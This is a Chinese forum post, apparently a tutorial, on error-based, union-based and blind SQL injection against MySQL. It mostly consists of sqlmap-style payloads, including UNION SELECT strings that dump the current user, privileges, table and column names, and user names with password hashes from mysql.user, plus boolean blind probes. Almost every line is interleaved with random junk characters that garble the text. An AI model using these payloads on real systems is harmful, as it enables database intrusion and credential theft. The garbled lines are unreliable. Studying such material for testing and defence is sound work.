放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。/ h2 u( @. y1 w
% K- d" n' w% H* N+ n' U这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
7 \. \4 @7 R; u9 b2 P- J 0 e. e4 C: Y* J& @2 u7 Z
分类标准 分类 备注
" o1 s% v3 O7 }! n- g3 o: `$ R& _按字段类型 整型注入,字符型注入 ' d5 i4 L- X4 }& ?# C
按出现的位置 get注入,post注入,cookie注入,http header注入 ! ]8 V; c6 F! H4 x
然而高级注入是这样的
* a6 [ d+ Y) P
7 P4 A* l6 L: }, S3 T高级注入分类 条件4 w# h! Y5 E r# I8 P- g
error-based sql 数据库的错误回显可以返回,存在数据库,表结构# E9 ]* Z0 ^( p! j/ n- ^! b: W
union-based sql 能够使用union,存在数据库,表结构! D2 x9 r- M- j- I7 R6 ~: q* p2 m8 m
blind sql 存在注入- }8 `' d. X. C8 \7 @8 a% y# {
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
+ E& ?. P3 @5 @ F! @* f- K# D
: r; o, ^- E/ E: e% l好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
8 P* w/ x4 _0 S/ s+ }$ r $ p( `, S" ?. A' E( ]5 } g
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
' }; @& X3 q N
8 N& j+ K$ C4 f0 ?, `# i! x3 q这里用mysql说明/ [3 _/ j* F3 b5 S; C) D l
: j( U( D7 [: N2 a Z# P) g% F" }e注入坛子里很多了,请看戳我或者再戳我; p) V( @+ c/ D3 [
1 s5 P3 l3 L2 m% `0 Zu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
" \! A( y$ q7 O2 z
8 Q! U$ ^3 \ B- K4 b. w% X获取当前数据库用户名8 L) X* {% m4 d2 [1 Q+ \# f
, F m0 w/ \( @; f8 N2 b' V! jUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
8 F' Q3 U9 }* V( S6 mAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
: S2 K) Q# E& m6 UL, NULL#7 [# a W( U, t8 O& I
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
; v8 H8 W( ~! ?' y5 m
3 }, [; y* K! t1 l1 F8 G获取数据库名% I; {) d; r. l
5 N/ @7 i) F! J% M' O, [7 j& q2 D% XUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#) E! \3 Q8 B) N7 g
获取所有用户名
: y" R# p4 x% w, c J1 f% z
) c2 m2 s3 R- P: C) kUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#( H2 M! u% w0 Y
查看当前用户权限3 N; X _3 F6 O: V8 Z' I
) j8 g {0 ^5 X$ }- V
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#, Z; o& u! s, G5 h6 d/ R
尝试获取密码,当然需要有能读mysql数据库的权限
+ `# T. d; a2 Y% U5 |
' q3 d8 ~4 G: v8 e4 |0 a' VUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#- W5 ^9 J( P5 [( P: \$ L1 l l
获取表名,limit什么的自己搞啦& X* R; h/ E- Z2 f4 H7 I
( j. [! v6 _- @& TUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
6 Z2 |! m- ?% X+ Y获取字段名及其类型
. o S$ L6 e# J" q: cUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#2 U* _2 H/ E0 E) r: k; |
% c, f- p4 k& S. _5 ?1 \
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。3 I; r" e; Z U9 f! e
% |/ [8 B) T2 k f& _! x- E) ?
如:
* r9 ]' }5 E( }4 @* s! W; H获取当前用户名4 r" V* Y% Y: r$ L5 _' _
2 \3 w- X( e. U7 ?1 z4 U% a9 J9 X4 C
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
0 Z& a2 `2 S7 @& k8 ~获取当前数据库
* L5 h: h+ b# Z. V' H( J$ Y
, F8 V; |7 w8 C" VAND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
. Z. \+ ^, i6 B: m, H获取表名
* P4 \" z" I* N( {$ k4 w 8 m9 i- D$ N3 o
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
3 w, D+ q3 Z7 ^: R5 Z! o" H# I获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
: c3 C1 j# K. e* C& ~6 ^) w回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。: I3 J& \& f% G A/ N
爆表
/ Y3 | t/ t' S6 r g! j( p6 }' M' H7 x' z5 ^
AND EXISTS(select * from table)8 o% K- Y- n3 p. T( A; B! W+ @
爆字段
, M( {* d4 o8 _' p2 o3 F
. y2 X o# M3 o+ l8 CAND EXISTS(select pwd from table)
; H5 s* G: L1 A" v, h盲注的变化就比较多了,由于篇幅,只是举个例子而已。6 u% \) | W: `8 p
6 j" k9 F1 ^ d3 M: Q6 s/ g本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。! r; |5 G# M% ~6 W" l6 y3 R7 E+ l
|